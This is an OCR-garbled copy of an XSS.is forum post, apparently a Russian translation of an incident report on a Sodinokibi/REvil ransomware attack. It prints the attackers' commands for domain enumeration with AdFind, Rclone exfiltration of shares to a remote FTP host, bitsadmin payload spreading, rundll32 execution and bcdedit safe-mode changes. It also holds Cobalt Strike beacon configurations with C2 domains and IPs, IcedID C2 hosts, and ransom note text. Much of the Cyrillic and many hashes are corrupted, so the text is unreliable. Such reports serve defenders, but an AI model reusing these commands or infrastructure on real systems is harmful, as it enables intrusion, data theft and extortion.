SHA256 |c92c158d?c3?fea?95114fa5491fe5f145ad2f&| Dy

Signer &) Unknown

------- [ some.csv .~

File name SOMEe.Csv

Full path CAUsers\Public\some.csv

SHA1 |1c6e623?59?88‘15D96?9443aa4??e1f4[35| Iy
SHA256 |4?a?1a[:|???ﬂaf2c4514?cauf344n:]auzfdc| iy
Signer &Y Unknown

Code:

cmd.exe /C adfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName >
some.csv

bokoBoe nnepemenieHue

I[JIH OOKOBOTO ABUKEHHUA 3JIOYMBIIIJIEHHHUKH KHCIIOJIb30BAIN PAa3JIMYHbIE ME€TOAbI B CBOEH
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obstactu, oqHUM U3 KOTOphIX ObLT Cobalt Strike.

Cobalt Strike Lateral
Movement

u
Infected Workstatiox S S = I S

Domain Controllers

Servers
Exchange Server

Workstations

Hcnonasiemble datiisl Cobalt Strike Beacon 6p11H epefanb ¢ moMoInbsio SMB u
BBITTOJTHEHBI Yepe3 YAaTIeHHYIO CIyKO0y.

(sl

i TEm

tFilename: C:\Windows\PddbBle.exe
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gddbale.

Type: wuser mode service
Start Type: demand star
Account: Lo stem”

‘@SMB@O® €LInoené09€ ] ADMING
@SMB@9® ¥LOOOO 1000000000000V V0OHOVO0HDE SME 2309 HLOch.GLVO(@)
Do@ o€ x9€ 2/092e6.exel DH2Q@ @ Px® 9O V) 7OMACQFid4RoLsD GOV H5pOC €49 OS

B npyrux cucremax PowerShell ucrosip3oBasics ¢ TeM ke yiaIeHHbIM BbIIIOJTHEHHEM

CITY>KOBI.

31 AEKAMWBNAD
D )BDAGWAM

\TgBWAFEAOABXAFI?
i 3AEYA
BAEM FY.
HQAdWBKAGMAMI
UARWE'

BnAFAAVW
5,

YT0OBI YIIPOCTUTh OKOHUYATEIbHOE Pa3BePThIBAHUE IIPOrpaMM-BbIMoraresieii, RDP-
coeJINHeHMs ObLTM MHUITMUPOBAHBI ¢ KOHTPOJIJIEPA IOMEHA, a TAKXKe CO BTOPUYIHOTO cepBepa

B cpefie.

Coop nHpopmanuu

Yrunura Rclone ucnonb3oBastack s coopa nHGoOpManuu u3 o0Iux GaiaIoBbIX PECYPCOB U
JUTSI 9KCHUIbTPAIIUY JAHHBIX.

Code:

svchost.exe --config svchost.conf --progress --no-check-certificate copy
"\\ServerName\C$\ShareName" ftpl:/DomainName/FILES/C/ShareName

https://xss.is/threads/50211/
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C&C cepsBepa

IcedID:
citkawemoret34.space
206.189.10.247:80

nomovee.website

161.35.109.168:443

JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3s: ec74a5¢51106f0419184doddo8fbosbe
Code:

Certificate:[e@:fc:e5:eb:fd:e7:da:0b:93:ac:dc:df:0d:e8:56:cc:7b:f2:58:43 ]
Not Before: 2021/03/11 02:06:51

Not After: 2022/03/11 02:06:51

Issuer Org: Internet Widgits Pty Ltd

Subject Common: localhost

Subject Org: Internet Widgits Pty Ltd

Public Algorithm: rsaEncryption

Cobalt Strike:

45.86.163.78:443

cloudmetric.online
JA3:a0e9f5d64349fb13191bc781f81f42e1
JA3s: ae4edc6faf64d08308082ad26be60767
Code:

Certificate:[b9:2c:48:71:1a:ba:eb:99:15:c4:0b:b0:31:ce:14:8e:29:30:ac:d3 ]
Not Before: 2021/02/27 06:45:42

Not After: 2021/05/28 ©7:45:42

Issuer Org: Let's Encrypt

Subject Common: cloudmetric.online [cloudmetric.online]

Public Algorithm: rsaEncryption

Kondwur cobalt:
Code:
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{

"x64": {

"config": {

"HTTP Method Path 2": "/jquery-3.2.2.full.js",

"Beacon Type": "@ (HTTP)",

"Method 2": "POST",

"Polling": 48963,

"Jitter": 24,

"Spawn To x64": "%windir%\\sysnative\\WUAUCLT.exe",

"Spawn To x86": "%windir%\\syswow64\\WUAUCLT.exe",

"Method 1": "GET",

"C2 Server": "cloudmetric.online,/jquery-3.2.2.min.js,45.86.163.78,/jquery-3.2.2.min.js",
"Port": 80

s

"sha256": "8d44894c09a2e30b4092718951e01708d0a600813387c3c0872bcd6cbl0a3e8c”,
"shal": "deab6be62e9c9793f9874bbdec9ff0a3acb82ad8",

"md5": "28ceeelf8f529a80bdoff5e52240e404",

"time": 1615840900656.6

s

"x86": {

"config": {

"HTTP Method Path 2": "/jquery-3.2.2.full.js",

"Beacon Type": "@ (HTTP)",

"Method 2": "POST",

"Polling": 48963,

"Jitter": 24,

"Spawn To x64": "%windir%\\sysnative\\WUAUCLT.exe",

"Spawn To x86": "%windir%\\syswow64\\WUAUCLT.exe",

"Method 1": "GET",

"C2 Server": "cloudmetric.online,/jquery-3.2.2.min.js,45.86.163.78,/jquery-3.2.2.min.js",
"Port": 80

s

"sha256": "11af3609884ad674al1c86142ec27719094e935d357d73e574b75c787a0e8c0of1",
"shal": "a30de5ca8ald7fd69c8885a975224ea8f1261002",

"md5": "bbc6592c67d233640a9ca0d0d915003c",

"time": 1615840895189

}

}

195.189.99.74

smalleststores.com

JA3: 72a589da586844d7f0818ce684948eea
JA3s: ae4edc6faf64d08308082ad26be60767
Code:
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Certificate: [14:f4:79:e3:fd:98:21:60:68:fd:1c:Qa:e6:c6:f9:71:f4:ac:f9:df]
Not Before: 2021/03/11 11:02:43

Not After: 2021/06/09 12:02:43

Issuer Org: Let's Encrypt

Subject Common: smalleststores.com [smalleststores.com]

Public Algorithm: rsaEncryption

Kondwur cobalt
Code:

{

"x86": {

"config": {

"Method 1": "GET",

"Method 2": "GET",

"Spawn To x86": "%windir%\\syswow64\\mstsc.exe",

"C2 Server": "smalleststores.com,/owa/,195.189.99.74,/owa/",
"Beacon Type": "8 (HTTPS)",

"Polling": 59713,

"Jitter": 41,

"Port": 443,

"Spawn To x64": "%windir%\\system32\\calc.exe",

"HTTP Method Path 2": "/OWA/"

¥

"md5": "88365eb3d504f570f22d76f777ab2caf",

"sha256": "4b25f708c506e0cc747344ee79ecdad8d51f6c25¢c9¢cb45ceb420575458¥56720",
"shal": "f42f2eeab6ct88d30cfd6207182528bebae2e504F",

"time": 1615846680369.8

s

"x64": {

"config": {

"Method 1": "GET",

"Method 2": "GET",

"Spawn To x86": "%windir%\\syswow64\\mstsc.exe",

"C2 Server": "smalleststores.com,/owa/,195.189.99.74,/owa/",
"Beacon Type": "8 (HTTPS)",

"Polling": 59713,

"Jitter": 41,

"Port": 443,

"Spawn To x64": "%windir%\\system32\\calc.exe",

"HTTP Method Path 2": "/OWA/"

s

"md5": "27ca24a7f6d02539235d46e689%e6edac",

"sha256": "e35c31ba3el@f59ae7ea9154e2c0f6+832fcf22b959f65b607d6ba®879ab641",
"shal": "6885d84c1843c41ff8197d7ab0c8e42e20a7ecaa”,

"time": 1615846684589

}

}
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Axchuabrpanug

JlanHble, coOOpaHHBIE U3 JOMeHa, ObLJIN OTIIPABJIEHBI HA y/IaJIeHHBIN cepBep IO a/ipecy:
Code:

45.147.160.5:443

https://xss.is/threads/50211/ 22/30



10/30/22, 3:35 PM

Cratbs - Sodinokibi (Takke nsBecTHbIn kak REvil) | XSS.is (ex DaMaGelLaB)

i rundll32.exe

Biauaaue

B xauecTBe 1oCJIeIHETO JIENCTBUSA 37I0YMBIIIEHHUKN COPOCUITU UCIIOTHAEMBIN (aiin
IIPOTPaMMbI-BBIMOTATeJIsI HA KOHTpoJutep AoMeHa B C: \Windows, a 3aTemM UCII0JIb30BATN

I €§3 cmd.exe

L— it: svchostexe .~

Proces
Execut
Path

Integri

Access

Proces

Comm

5 name svchostexe

privileges (UAC)

chwindows\svchost.exe
ty level System

Standard
s D 23R4

and line E “host.exe --config swchost.conf --progress
--no-check-certificate copy "\ iy
o o/
</

File name svchost.exe

Full path chwindows\svchost.exe

SHAT fcfcf1e45e8d5cdcald50b8dc0754b68eBe: | [
SHA256 538078ab6d80d7cf8B9af3e08f62c4e83358
Signer &) Unknown

successtully established connection with

Eh 45.147.160.5:443 .~

IP address 45.147.160.5
Port 443
Protocol Tep

BITSAdmin ju1s1 pa3BepThIBaHUS UCIOJIHSAEMOTO (aiiia B yaJTeHHbIX CHCTEMAX.

Code:

C:\Windows\system32\bitsadmin.exe /transfer debjob /download /priority normal
\\DOMIANCONTROLLER\c$\windows\DOMAINNAME.exe C:\Windows\DOMAINNAME.exe

https://xss.is/threads/50211/
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®J1ar -smode UCI0JIH30BAJICS C UCTIOTHAEMBIM (hAHIOM BBIMOTATEISI, YTOOBI HACTPOUTD
CUCTEMY Ha Iepe3arpy3Ky B 0e30I1aCHOM peKUMe C ITOAIEPIKKOM ceTH, KaK OTMeTUIIa
komaHzna Malwarehunterteam.

€¢ Not remember seeing these before in REvil ransomware samples.

So basically the actors using REwvil now can use it to reboot target
machines into safe mode with neiworking... @demonslay335
@VK Intel pic.twitter.com/dLKk4EirNFO

— MalwareHunterTeam (@malwrhunterteam) March 18, 2021

*He momMHI0, YTOOBI BH/IEJI TO PaHbIlle B o0pasnax BeiMoratesei REvil. ? Takum o6paszom,
aKTOPBI, HcIosib3yiolire REvil, Temeps MOTYT HCIIOJIB30BATh €I'0 JIJIS ITepe3arpy3KH IeJIeBBIX
MaIlvH B 6€30IaCHOM peKHMe C TIOMOIIIBIO CETH.

Cm. Huxe BuimosiHeHUe -smode:

Sodinokibi (aka REvil) smode
Execution

bitsadmin.exe /transfer debjob /download /priority
. normal \\DomainController\cS\windows\DomainName.exe
RDP Login . " .
Child Process C:\Windows\DomainName.exe
Parent Process dmi
a mln.eﬁ

C:\Windows\explorer.exe / S
NOUACCHECK “\Windows\DomainName.exe -smode
h Y I S)! 'm auto reboots into Safe Mode with
omaini e.€; letworking within seconds of execution

Parent Process
PowerShell.exe

i bededit /set {current} safeboot network
bcdedit.exe

Key: HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\
RunOnce

Key: HKLM\SOFTWARE\WOW&432Node\
Microsoft\Windows\CurrentVersion\
RunOnce

Value name: *AstraZeneca Value name: *franceisshit

Registry value set: Registry value set:
Value data: bededit /deletevalue {current}

Value data: C:\windows\DomainName.exe safeboot

Kitrou *franceisshit ucriosib3oBasics 71 BbIX0/1a MAIIMHBI U3 O€30IIaCHOTO PeKUMa ITOCIe
Iepe3alrycka MallliHBI.
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bededit /deletevalue {current} safeboot
Setvalue

C:\\Windows\\

{bBQSCEEE—dfaE—EMf—SEEf%BB'EEM:BBE} <

6512

technique_id=T1547.881, technique_name=Registry Run Keys / Start Folder

=tObject HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*franceisshit

CucreMsl repe3arpy3uinch B 6€3011aCHOM PeKUME C 3arpy3KOU CETEBBIX JIPAUBEPOB IIOCTIE
BBITIOJTHEHU S 3TOW KOMaH/Ibl Smode U OCTaIuCh Ha 9KpaHe Bxozia B cucreMy. [IpumepHo
yepes 10-20 CeKyH/I II0cJIe BX0/la B CUCTEMY Bce I0JIb30BaTesIbcKue (aiiiibl ObLIn
3amu@poBaHbl, a 3aMKCKa O BBIKyIle ObLIa pa3MellleHa BO MHOTHUX MeCTaX, BKII0Yast
paboumnii ctos. Cay>k0blI He 3aIlyCKaINCh, UTO IPUBOIUIIO K TpobiieMaM co cO0poM, Tak Kak
OOBIYHBIE AT€HTHI HE 3aIMYCKAINCH. ITO TaK:Ke BKII0UaIo 3amyck EDR u areHTOB
yIIpaBJIEHUA.

Mp5I BU/IE T IO KpaliHeH Mepe OJIUH TBUT 0 Smode, yCTaHaBINBAOIIEM KITFOUN
aBTOMAaTHUYECKOTO BXO/]a B CUCTEMY, HO Mbl HE BUI€JIM OTOTO B HAIIIEM CJIy4Yae U He CMOTJIU
BOCCO3/1aTh 5Ty CUTYyaIIUIO.

¢¢ = #REvil v2.05

-smode switch configures OS to boot Iinto safe mode w/ networking
via:

(pre-Vista) bootcfg /raw /a /safeboot:network /id 1
or
(Vistat+) bededit /set {current} safeboot network

configures auto-lognn via WinLogon /# w/ 'DTrump4ever’
password

— R3MRUM (@R3MRUM) March 26, 2021

ITocsie mepe3arpy3ku U3 6€30MacHOTO PEKUMA Y BaC OCTAHETCS CIEAYIOIINNA pab0Inid CTOIT:
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All of your files are encrypted|

-readme.txt and follow instuctions

-readme.b(t - Motepad

File Edit Format View Help
---=== lelcome. Again. ===--- ~

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension _
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (MEVER).

Also your private data was downloaded. We will publish it in case you will not get in touch with us asap.

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobo
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private ke

[+] How to get access on website? [+]
You have two ways:

1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org/

b) Open our website: htcp: /N

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera, IE, Edge
b) Open our secondary website: http:/ 929

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:
Key:

B HEKOTOPBIX cUCTEMAX, TAKUX KaK KOHTPOJLIEPHI JIOMEHA, 3/I0YMBIIIIEHHUKH TPeAIOUIN
HE KMCII0JIb30BaTh OIIIUI0 6€30IIaCHOTO PeKUMa, U BMECTO 3TOI0 OHH HCIT0JIb30oBau DLL,
BhInoJTHsAeMYTO rundll32, 1y mudpoBanus cucteMbl 6e3 epe3arpy3Ku, T03BOJIssA
3JI0YMBIIIUIEHHUKAM IOJIZIEP>KUBATH JIOCTYII, IIOKA POrpaMMa-BbIMOraTesIb ndpoBaja
daitnsbl.

Code:

C:\Windows\system32\rundl132.exe" C:\Windows\DomainName.dll,D11RegisterServer

https://xss.is/threads/50211/ 26/30



10/30/22, 3:35 PM

commandLine
company

currentD

integritylLevel

nalFileN

parentImage
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\V'C:\\Windows\ \system32\\rundl1132 .exe\" C:\\Windows\\ .dl1,D11RegisterServer
Microsoft Corporation
C:\\Users\\

Windows host process (Rundl132)

; O
SHA1=F3BA3415DDB6BAS FESESMGBI‘gG?aBAm 880F5A7FB20C84185A23212EF , SHA
964
n

C:\\Windows\\System32\\rund1132.exe
High
{4ea529dT-c91f-684T-3cb4-a7BeBBBOBEEE }
@xea7bd3c

RUNDLL32 .EXE

parentCommandLine \"C:\\Windows\\System32\\WindowsPowerShell\\v1.8\\powershell.exe\"

C:\\Windows\\System32\\WindowsPowerShelli\v1.8\\powershell.exe

BHOYMI)IIIIIIGHHI/IKI/I 3aIlIpOCUJIN 200 ThICAY B Monero. Ux YIrOBOPHJIM CHU3UTH 3alIpOC HaA 20-

30%, a MOKHO OBLJIO OBI U1 O60JTBITIE. BOT HECKOJIPKO CKPUHIIIOTOB C CaliTa.
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olll
|

Your documents, photos, To decrypt your files you need to Follow the instructions below. But
databases and other important files buy our special software - General- remember that you do not have
encrypted ecryplor quch time

General-Decryptor price

the price is for all PCs of your infected network

INSTRUCTIONS CHAT SUPPORT ABOUT US

Buy XMR (no need for
How to decrypt files? verification)
You will not be able to decrypt the files yourself. If you try, you will o

O LocalMonero

lose your files forever.
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Sodinokibi

You probably already know about us. Many publications call us Sodinokibi

If you've read them, you know that our Ransomware is different in its technology and reliability.
We've developed the best data encryption and decryption system available today.

Our competitors allow themselves to lose and destroy their victims' data during the encryption or decryption
process, making it impossible to recover the data

e don't allow ourselves to do that

So you should be glad you were infected By our guys, not our competitors. This means that when you pay for
the decryption, you can be sure that all your data will be decrypted.

Guarantees?

You can read the publications about us. For example, this one;

https.# wounw.coveware.com/blog/2019/7/15/ ransomware-amounts-rise-3x-in-g2-as-ryuk-amp-sodinokibi-
spread
This edition explores Ransomware and makes comparisons. This article describes the 100% probability of data

recovery via Sodinokibi software.

You can search for other publications about us on the Internet and once again make sure of our warranties.
Cr go to the payment instructions page now to get our decryption software if you don't want to waste time.

Time is money.

C momompio hatching_io (https://tria.ge/) MbI cMoriiu nmpoaHaJIn3upPOBaATh KOHGUTYPAITUIO
13 oOpasiia BhIMOTaTeIs.

v General

& 62f97700115a219c4b7626d22
Target
DomainName.exe
X bb67edcfedeSbt 'adcfe39eb7?
Size
120KB
< 6fd6f2a59¢
Sampl

c0ec64484d153 f9654852ad2¢5¢

spyware

stealer

- Malware Config

Extracted

Family sodinokibi
Botnet

Campaign

Code:
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Campaign ID (sub): 7114
net: false

Or TC

[TozBosuI cebe OImyCTUTh YacTh cTaThi. CO CIIMCKOM YOUTBIX IIPOIIECCOB U CEPBUCOB, HJIU C
yara ¥ sigma ImpaBHJIaMH.

Eciu KOro-TO 3TO MHTEpPECYeT, MPOoITy 00pamaThes K OPUTHHATBHOMY UCJIEOBAHUIO

Xouy ckazats criacubo KAJIT 3a npezsio:keHHBIN MaTepuaJl.
OH Tak»ke IPUJIOKUJII CCBUIKY Ha COMIUTBL, ¢ vX-underground.

IlepeBon;

Azrvsl cnenuaabHO JJIs1 XSS.1S

BTC: bcigs2fkyzftnwwhhdrwoge6ncexrspeytaydymjwkj
ETH: oxEb8CdE54aBaA7186E9dB8A27f6898CgoF02397bab
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